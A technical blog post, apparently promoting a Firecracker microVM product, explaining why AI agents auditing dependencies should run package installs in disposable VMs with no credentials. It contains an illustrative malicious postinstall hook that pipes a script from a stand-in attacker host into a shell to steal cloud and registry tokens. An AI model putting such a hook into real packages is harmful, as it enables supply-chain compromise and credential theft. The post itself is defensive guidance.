Sandbox Your AI Agent's Dependency Audit
You built an AI agent that audits dependencies. Point it at a repo, it reads the lockfile, runs `npm audit` / `pip-audit` / `trivy fs`, and hands back a triaged list of CVEs with suggested bumps. It's a genuinely useful agent — dependency triage is tedious, error-prone, and exactly the kind of work you want automated. It's also, if you run it the obvious way, a remote-code-execution service for anyone who can get a package into the tree you point it at.
The uncomfortable fact under all of this: you cannot audit a dependency tree without resolving and installing it. `npm audit` needs a real `node_modules` (or at least a fully resolved lockfile) to reason about. `pip-audit` on a project resolves and, for anything not already pinned to a hash, downloads and builds sdists. `trivy` scanning a filesystem wants the installed artifacts. And the moment you run `npm install`, `pip install`, or `cargo fetch` against a package you didn't write, you have executed that package's install scripts. `npm install` is remote code execution you politely invited in — and your agent invites it in on a schedule, against code no human has read.
I'm Ajay — I build PandaStack, an open-source Firecracker microVM platform, so I spend my days thinking about where the isolation boundary sits when you run other people's code. This post is about running dependency audits the honest way: one disposable microVM per audit, so a malicious `postinstall` hook roots a throwaway machine instead of your build fleet.
"Install" is a euphemism for "run their code"
The mental model that gets people hurt is that installing a package is a passive, declarative operation — you're just downloading files. You are not. npm runs lifecycle scripts (`preinstall`, `install`, `postinstall`) as part of a normal install. Python packages run arbitrary code in `setup.py` (and increasingly `pyproject.toml` build backends) whenever a source distribution is built. A Cargo build script (`build.rs`) is compiled and executed on `cargo build`. These aren't obscure edge cases; they are load-bearing features of the packaging ecosystems, used by half the native modules you depend on.
Which means the attacker's job is trivial. They don't need a memory-corruption exploit or a clever escape. They need you to type `npm install`. Here's the entire payload — a `package.json` with a `postinstall` that runs the instant your agent resolves the tree:
# package.json shipped by a typosquatted or compromised dependency.
# Nothing here is exotic. This is a normal, supported npm feature.
{
"name": "colour-parser", # one letter off from a real package
"version": "2.4.1",
"scripts": {
# This line runs during `npm install`, before your agent runs a single
# line of the app. No import required. Resolving the tree is enough.
"postinstall": "node -e \"require('child_process').exec('curl -s https://evil.example/x | sh')\""
}
}
# What that one-liner does on YOUR host if you run the install there:
# - reads ~/.aws/credentials, ~/.npmrc, ~/.docker/config.json
# - reads $NPM_TOKEN, $GITHUB_TOKEN, $CI_JOB_TOKEN from the environment
# - exfiltrates them, then plants itself in the next build's cache
#
# You didn't `require()` anything malicious. You didn't run their code.
# You ran `npm install`. That WAS running their code.The Python and Rust versions are the same story in a different dialect: a `setup.py` that phones home when pip builds the sdist, a `build.rs` that reads your environment when cargo compiles. `pip-audit` on an unpinned project, `cargo audit` after a `cargo fetch` + build — each has a resolve-and-build step that hands control to code you've never seen. Auditing for vulnerabilities requires running the very step that the supply-chain attack lives inside.
Why the shared CI host is the worst place for this
The default place teams run audits is the CI runner, because that's where the code already is. It is also the single worst place to execute untrusted install scripts, because a CI host is a credential piñata. It has the registry token that can publish your packages. It has the cloud credentials that can touch your infrastructure. It has the deploy keys, the artifact-store keys, the environment variables your pipeline needs. A `postinstall` hook that fires on that host doesn't just leak — it can publish a poisoned version of your own package, mint a release, or plant itself in a shared build cache that every subsequent job pulls from.
A shared container on that host is not a fix. A container narrows the view, but every container on the box makes its syscalls against the one host kernel; a container escape or a kernel privilege-escalation bug reachable through an allowed syscall turns "the audit job" into "root on the runner that runs everybody's jobs." And even without an escape, if the container has your tokens in its environment — which it needs to reach a private registry — the install script reads them directly. No escape required. You handed it the keys as an env var.
The blast radius of one malicious package, run on a shared CI host, is your whole pipeline. That's a bad trade for the convenience of not spinning up a machine.
One disposable microVM per audit
The fix is to stop running the dangerous step anywhere it can hurt you. Run each audit inside its own Firecracker microVM: a throwaway machine with its own guest kernel, confined by KVM hardware virtualization, with no credentials in its environment and no route to anything you care about. Let the malicious `postinstall` fire. Let it read the environment — it finds nothing. Let it try to escape — the only path out is a tiny virtio device surface, not the full Linux syscall ABI a container leaves exposed. When the audit finishes, you destroy the whole VM, and whatever the install scripts did to that machine dies with it. This is the same isolation model AWS Lambda uses to run untrusted code from thousands of customers on shared fleets.
The usual objection is startup cost — nobody wants a three-second VM boot on the front of every scan. PandaStack sidesteps that with snapshot-restore: every create restores a baked snapshot of an already-booted machine rather than cold-booting. The restore step is around 49ms; an end-to-end create is p50 179ms and p99 about 203ms. A true cold boot, only on the very first spawn of a template, is around 3s — after that you're paying restore prices. That's the trade that makes a VM-per-audit practical: hypervisor-grade isolation at roughly container-grade latency.
Here's the shape in the Python SDK — write the untrusted lockfile and manifest into the guest, run the install-and-audit step inside the VM with no host credentials present, read back the JSON report, and let the `with` block destroy the machine:
from pandastack import Sandbox
def audit_npm_project(package_json: str, lockfile: str) -> str:
"""Resolve + install + audit an UNTRUSTED dependency tree inside a
throwaway microVM, then destroy it. Install scripts (postinstall!) run
against the guest kernel with no host creds in reach."""
with Sandbox.create(
template="base",
ttl_seconds=600, # backstop: a leaked VM reaps itself
metadata={"job": "dep-audit"}, # for per-run audit + billing
) as sbx:
# Inject ONLY the manifest + lockfile. No $NPM_TOKEN, no registry
# creds, no AWS keys, nothing the postinstall would want to steal.
sbx.filesystem.write("/work/package.json", package_json)
sbx.filesystem.write("/work/package-lock.json", lockfile)
# `npm ci` runs lifecycle scripts. THIS is the arbitrary-code step.
# It runs here, in a disposable guest, not on your CI host.
# timeout_seconds is the circuit breaker for a hook that hangs or
# mines crypto forever. It kills THIS vm, no one else's.
install = sbx.exec("cd /work && npm ci --ignore-scripts=false",
timeout_seconds=300)
# Now the audit itself, against the resolved tree.
report = sbx.exec("cd /work && npm audit --json", timeout_seconds=120)
# exit_code is nonzero when audit FINDS vulns — that's a result,
# not an error. We just want the machine-readable report back.
return report.stdout
# The VM — and anything the install scripts touched or planted — is gone.The load-bearing details: the guest gets the manifest and lockfile and nothing else — no tokens, no keys, no environment your CI host would carry. `--ignore-scripts=false` is deliberate: you want the install scripts to run, because they're part of what you're auditing and because refusing to run them hides the exact code the attacker planted. You run them, but you run them somewhere their misbehavior is contained. `timeout_seconds` is the hard cutoff for the hook that hangs or turns your audit into a crypto miner, and `ttl_seconds` is the backstop that reaps the VM even if your orchestration process crashes mid-run. The same pattern wraps `pip-audit`, `trivy fs`, or `cargo audit` — swap the commands, keep the boundary.
Shared CI host vs. microVM per audit
- Isolation boundary — Shared CI host: namespaces + a shared host kernel; an install script's syscalls hit the same kernel your pipeline runs on, and a container escape is a runner compromise. microVM per audit: a hardware-virtualized guest with its own kernel; the only path to the host is a tiny virtio + KVM surface.
- Credentials in reach — Shared CI host: registry tokens, cloud keys, deploy keys, and pipeline env vars sit right there for a postinstall to read. microVM per audit: the guest gets the lockfile and nothing else — no tokens, no keys, no host environment.
- Blast radius of a malicious package — Shared CI host: exfiltrated secrets, a poisoned publish of your own package, a planted payload in a shared build cache that every later job inherits. microVM per audit: one throwaway machine you were going to destroy anyway.
- Runaway / hanging hook — Shared CI host: pins a shared core, degrades neighboring jobs, needs a manual kill. microVM per audit: capped by the VM's baked CPU/memory ceiling and cancelled by the exec timeout or the sandbox TTL.
- Cleanup between runs — Shared CI host: hope the runner reset left no planted files, poisoned caches, or lingering processes behind. microVM per audit: teardown is total — memory, filesystem, and anything the scripts planted vanish with the VM.
- Cost of the boundary — Shared CI host: zero setup, but you're paying it in risk. microVM per audit: snapshot-restore makes a create ~49ms restore / p50 179ms, so isolation isn't a latency tax.
Rule one: no credentials in the guest
The microVM contains the code; it does not sanitize the powers you grant the code. A perfectly isolated VM that you hand a registry token is a well-contained way to let a malicious package publish as you. So the first rule of running audits is that the guest gets exactly what it needs to resolve the tree, and nothing else.
- Inject the lockfile, not your credentials. The audit needs the manifest and lockfile to resolve the tree. It does not need `$NPM_TOKEN`, `$AWS_ACCESS_KEY_ID`, `$GITHUB_TOKEN`, or your `~/.docker/config.json`. If the running install script can read an env var, treat that env var as leaked — so don't put it there.
- Private registries need scoped, throwaway creds. If the tree genuinely pulls from a private registry, mint a short-lived, read-only, single-registry token for that one audit run — never the CI-wide publish token. A read token that expires in ten minutes is a survivable leak; your org's publish credential is not.
- No network egress you don't need. The install has to reach the registry; it does not need to reach your metadata endpoint, your internal services, or an attacker's exfil host. Constrain the guest's egress to the registry it must talk to, so a phone-home hook has nowhere to phone.
- Attribute every run. Tag the sandbox with the job and repo so a suspicious egress attempt, a hung hook, or an anomalous install traces back to exactly one audit.
Auditing a lot of packages: fork a warm base
An agent auditing one repo wants one VM. An agent auditing every dependency in a monorepo, or re-scanning a registry's worth of packages nightly, wants many — and paying a full create per package adds up. This is where the copy-on-write fork earns its keep: bake a warm base VM with your audit tools already installed (npm, pip-audit, trivy, cargo-audit, the CVE databases pre-pulled), then fork it once per package.
A same-host fork lands in 400–750ms and shares memory and disk copy-on-write, so each audit gets a private, disposable copy of the warm tool environment without re-provisioning it; a cross-host fork is 1.2–3.5s when you're spreading load across agents. Each fork is still a full isolation boundary — one package's malicious `postinstall` can't see or touch the next package's fork. Capacity is rarely the constraint: a PandaStack agent pre-allocates 16,384 /30 subnets, so each VM gets its own network namespace and the practical ceiling is host memory and CPU, not networking. The run finishes, you destroy the fork, and there's nothing left to plant a payload into.
Getting the report out without dragging the payload with it
The one channel that crosses the boundary is the result you read back, so treat it as data, not as trusted output. The audit's job is to produce a JSON report; your job is to parse that JSON and nothing else. Don't `eval` it, don't source a script the guest wrote, don't let the audited package talk your orchestration process into running a "suggested fix" command. Read the structured report, parse it in your trusted process, and let everything else — every file the install touched, every process it spawned — die with the VM.
This is the whole reason teardown is a feature rather than an afterthought. When the audit finishes, you kill the VM and its memory, its filesystem, its resolved `node_modules`, and any payload a `postinstall` planted go with it. There's no runner to reset, no cache to sweep, no lingering process to reap, no chance the next audit inherits a poisoned tool. Fresh-per-audit VMs tear down automatically via `ttl_seconds` and the `with` block; the leak surface between one audit and the next is zero, because there is no next audit on the same machine.
Putting it together
An AI agent that audits dependencies is a great idea running on a dangerous primitive: to find the vulnerabilities you have to resolve and install the tree, and installing runs the attacker's code. Don't run that step on your CI host, where a `postinstall` hook can read your registry token and publish a poisoned release. Don't run it in a shared container that carries your credentials in its environment. Run each audit in its own disposable Firecracker microVM: give the guest the lockfile and none of your secrets, let the install scripts run somewhere their misbehavior is contained, cap them with a timeout and the VM's own memory ceiling, fork a warm base when you're auditing at scale, read back only the structured report, and destroy the machine. The malicious `postinstall` still fires. It just roots a throwaway VM instead of your build fleet.
Frequently asked questions
Why can't I just audit a dependency tree without installing it?
Because the audit tools need a resolved tree to reason about, and resolving it runs code. `npm audit` needs a real node_modules or a fully resolved lockfile; `pip-audit` on an unpinned project downloads and builds sdists (running setup.py); `trivy` wants the installed artifacts. The resolve-and-install step is exactly where install scripts — npm's preinstall/install/postinstall, Python's setup.py build backends, Cargo's build.rs — execute arbitrary code. You can partially audit from a lockfile alone, but any real install for native modules or unpinned deps runs untrusted code. So the honest move is to run that step somewhere disposable: a microVM you destroy afterward.
Doesn't `npm install --ignore-scripts` make this safe?
It makes it safer, but it's not a substitute for isolation. Skipping install scripts skips exactly the code a supply-chain attack hides in, gives you an incomplete tree for packages with native build steps, and lulls you into thinking you audited something you didn't. It also doesn't help pip or cargo, which run build code as part of resolving sdists and crates. The stronger posture is to run the scripts — because they're part of what you're auditing — but run them inside a throwaway Firecracker microVM with no credentials in reach, so a malicious hook roots a disposable machine instead of your host.
What's the actual risk of running an audit on my CI host?
A CI host is a credential piñata: it holds your registry publish token, cloud credentials, deploy keys, and pipeline env vars. An install script (postinstall, setup.py, build.rs) that fires there runs with access to all of it — it can exfiltrate those secrets, publish a poisoned version of your own package, mint a release, or plant a payload in a shared build cache that every later job inherits. A shared container on the host doesn't fix it: it shares the host kernel (so a container escape is a runner compromise) and usually carries your tokens in its environment, which the install script reads directly, no escape required. The blast radius of one malicious package is your whole pipeline.
How does a microVM contain a malicious postinstall hook?
Each Firecracker microVM boots its own guest kernel and is confined by KVM hardware virtualization — the only path from guest to host is a tiny set of emulated virtio devices, not the full Linux syscall surface a container leaves exposed. So when the install script runs, it runs against the guest's kernel with no host credentials in its environment and no route to anything you care about. It can read the env — and find nothing. It can try to escape — and hit a far smaller, heavily audited surface than a container's. When the audit finishes you destroy the whole VM, and everything the script touched or planted dies with it. That's the same isolation model AWS Lambda uses for untrusted multi-tenant code.
Isn't spinning up a VM per audit too slow to be practical?
No, because PandaStack doesn't cold-boot on each create — it restores a baked snapshot of an already-booted machine. The restore step is around 49ms, and an end-to-end create is p50 179ms (p99 about 203ms); only the very first spawn of a template pays the ~3s cold boot. For auditing many packages, you bake a warm base VM with your tools pre-installed and fork it per package: a same-host copy-on-write fork lands in 400–750ms (cross-host 1.2–3.5s), so each audit gets a private, disposable copy of the warm environment without re-provisioning. Isolation stops being a latency tax.
49ms p50 cold start. Fork, snapshot, and scale to zero.